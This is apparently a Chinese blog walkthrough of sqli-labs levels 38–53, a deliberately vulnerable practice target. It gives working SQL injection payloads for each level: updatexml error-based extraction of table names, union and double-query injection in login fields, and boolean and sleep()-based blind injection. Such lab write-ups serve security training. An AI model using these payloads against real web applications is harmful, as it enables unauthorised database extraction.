【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections

sqli-labs-master 38-53 Stacked-Injections

其他关卡和靶场看专栏…

文章目录

  • sqli-labs-master 38-53 Stacked-Injections
    • 第三十八关-报错注入
    • 第三十九关-报错注入
    • 第四十关-盲注
    • 第四十一关-盲注
    • 第四十二关-联合报错双查询注入
    • 第四十三关-报错注入
    • 第四十四关-盲注
    • 第四十五关-盲注
    • 第四十六关-报错注入
    • 第四十七关-报错注入
    • 第四十八关-时间盲注
    • 第四十九关-时间盲注
    • 第五十关-报错注入
    • 第五十一关-报错注入
    • 第五十二关-时间盲注
    • 第五十三关-时间盲注
  • 总结

第三十八关-报错注入

?id=1'
?id=1' and '1'='1

通过上述语句可以判断这是单引号闭合,根据报错信息可以试一下报错注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第三十九关-报错注入

?id=2-1

通过上述语句回显1的信息可以初步判断这是数字型注入,根据报错信息可以尝试报错注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十关-盲注

?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1

对于第一个语句页面没有回显错误信息,所以假设为单引号闭合试一下第二个和第三个发现页面仅仅有显示和不显示,所以使用盲注

第四十一关-盲注

?id=2-1
?id=2 and 1=1

第一段语句回显1的信息,第二段回显2的信息,得知这是字符型注入,没有报错信息,所以试一下盲注:

?id=1 and length(database())=8

第四十二关-联合报错双查询注入

对账号密码分别进行单引号探针发现,仅仅password部分有报错,根据报错信息得知这是单引号闭合,尝试union注入:

login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login

在这里插入图片描述

同样也可以进行双查询注入:

login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login

在这里插入图片描述

也可以直接updatexml报错注入:

login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十三关-报错注入

对账号密码进行引号探针发现仅仅password部分显示报错信息,根据报错信息可以知道这是单引号加上括号闭合:

在这里插入图片描述

尝试报错注入,报错内容正常回显:

login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十四关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login

在对账号和密码添加引号时候发现没有任何报错,所以有可能print_r(mysqli_error())被注释了。尝试or,发现成功登录:

在这里插入图片描述

所以判断这是单引号闭合,由于没有报错信息所以尝试Union注入。输入order by判断字段数时候,发现原来应有的报错信息变成了登录失败,order by 3以内为成功,4及以上为登录失败,所以union select 1,2,3判断回显位,发现没有回显位,所以只能进行盲注:

login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login

第四十五关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login

通过上述语句并没有得到任何的报错信息,所以猜测存在括号:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

查看源代码发现确实存在括号,所以构造闭合,成功登录:

login_user=1&login_password=1') or ('1'='1&mysubmit=Login

在这里插入图片描述

由于没有报错信息所以使用盲注:

login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login

第四十六关-报错注入

查看源代码发现order by关键字,这个关键字的作用就是针对第几列进行升序排序

$sql = "SELECT * FROM users ORDER BY $id";

对参数值进行探针,发现order by后面是可以添加语句的,添加引号发现存在报错信息,所以尝试报错注入:

?sort=3 and sleep(3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十七关-报错注入

添加引号之后回显报错信息,可知这是单引号闭合,并且可以尝试报错注入

在这里插入图片描述

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第四十八关-时间盲注

添加单引号之后发现没有返回排序信息,并且没有报错信息,所以猜测报错函数被注释了,故尝试盲注。使用2-1发现和1的效果是一样的,所以判断是数字型注入

?sort=1 and if(length(database())=8,sleep(2),1)

这一道题使用不了布尔盲注,因为sort的值仅仅是order by的值而不是where条件值。

第四十九关-时间盲注

使用单引号探针没有回显报错信息,所以猜测报错函数被注释了,所以尝试:

?sort=1' -- #

页面正常显示,所以判断这是单引号闭合,由于报错函数被注释所以使用盲注:

?sort=1' and if(length(database())=8,sleep(1),1) -- #

第五十关-报错注入

单引号探针显示报错信息,所以判断这是数字型注入,且可以尝试报错注入:

在这里插入图片描述

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第五十一关-报错注入

好简单:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第五十二关-时间盲注

引号探针没有回显任何信息,使用1’ and ‘1’='1并没有正常显示,使用2-1回显1的信息,所以判断是数字型注入,由于没有报错信息,所以使用时间盲注:

?sort=1 and if(length(database())=8,sleep(1),1)

第五十三关-时间盲注

服了,后面为什么这么简单…加上单引号没有东西显示,所以我们尝试闭合并使用时间盲注:

?sort=1' and sleep(3) -- #

有延时,所以存在时间盲注。

总结

后面的真的好简单,没啥好总结的,做了这么多题发现这一部分没啥好看的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/498897.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python自动化管理和zabbix监控网络设备(防火墙和python自动化配置部分)

目录 前言 一、ssh配置 1.FW1 2.core-sw1 3.core-sw2 二、python自动化配置防火墙 三、验证DNAT 四、验证DNAT 前言 视频演示请访问b站主页 白帽小丑的个人空间-白帽小丑个人主页-哔哩哔哩视频 一、ssh配置 给需要自动化管理的设备配置ssh服务端用户名和密码 1.FW1 …

面试题JS篇

目录 Js 基本数据类型有哪些Ajax 如何使用如何判断一个数据是 NaN?Js 中 null 与 undefined 区别闭包是什么?有什么特性?对页面会有什么影响JS中模块化的方法Js 中常见的内存泄漏什么是事件冒泡?如何阻止事件冒泡?事件…

Jmeter插件PerfMon Metrics Collector安装使用及报错解决

Jmeter作为一个轻量级的性能测试工具,开源、小巧、灵活的特性使其越来越受到测试人员喜爱。在实际的项目中,特别是跨地区项目,排除合作方指定要求使用Loadrunner作为性能测试工具外,Jmeter会是首选。 本篇文章,就着重…

信安数学(验证定理6.3.2~6.3.3)

定理6.3.2 如果n是对于基b的强伪素数,则n是对于基b得到欧拉伪素数 nint(input("给定一奇合数n:")) bint(input("给定一个整数b:")) def solution(a,b):#若b>a,则交换两个数的值if(b>a):taabbtr b #初…

聊一聊Python量化交易

在金融领域,量化交易已经成为一种越来越受欢迎的交易方式。它通过使用数学模型来分析市场,自动化执行交易决策,以此来获取超额回报。近年来,Python因其简洁易学、功能强大而成为量化交易领域的首选编程语言。本文将详细介绍Python…

为什么猫咪挑食不吃猫粮?适口性好、普口性价的主食冻干推荐

现代养猫人士往往把自家的小猫看作是生活中的小宝贝,十分宠爱。最令人头疼的就是猫咪挑食不吃猫粮,为什么猫咪挑食不吃猫粮?猫咪挑食应该怎么办?今天为大家分享一个既不让咱宝贝猫咪受罪又可以改善猫咪挑食的方法。 一、为什么猫咪…

camunda7流程引擎外部任务(External Task)如何使用

camunda7流程引擎支持两种执行服务任务的方式: 内部任务:同步调用与流程应用程序一起部署的代码外部任务:在列表中提供可由员工轮询的工作单元 第一个选项可以通过委托代码(Delegation) 或者脚本(Script)…

C#,数值计算,求解微分方程的吉尔(Gear)四阶方法与源代码

1 微分方程 微分方程,是指含有未知函数及其导数的关系式。解微分方程就是找出未知函数。 微分方程是伴随着微积分学一起发展起来的。微积分学的奠基人Newton和Leibniz的著作中都处理过与微分方程有关的问题。微分方程的应用十分广泛,可以解决许多与导数…

【Micropython教程】key按键与EXTI中断

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、按键的使用1.1 按键的简介1.2 读取按键的高低电平 二、EXIT外部中断2.1 EXIT外部中断简介2.2 外部中断基础知识2.3 设置外部中断2.4 示例代码 总结 前言 M…

Linkedln领英账号限制问题|通过代理IP安全使用Linkedln

LinkedIn是跨境外贸必备的拓客工具,世界各地的许多专业人士都使用领英来作为发布和共享内容的主要工具,这使得它成为跨境出海必备的渠道工具。 但是不少做外贸的朋友都知道,领英账号很容易遭遇限制封禁,但如果善用工具&#xff0…

基于transform的scale属性,动态缩放整个页面,实现数据可视化大屏自适应,保持比例不变形,满足不同分辨率的需求

文章目录 一、需求背景:二、需求分析:三、选择方案:四、实现代码:五、效果预览:六、封装组件: 一、需求背景: 数据可视化大屏是一种将数据、信息和可视化效果集中展示在一块或多块大屏幕上的技…

string字符串进行分割

c标准库中&#xff0c;对string字符串并没有提供分割操作&#xff0c;需要自己手动实现此功能。 方式1&#xff1a; 采用 std::stringstream 输入字符串&#xff0c;通过getline()函数&#xff0c;来对字符串进行分割。 #include <sstream>void getSplit(std::string s…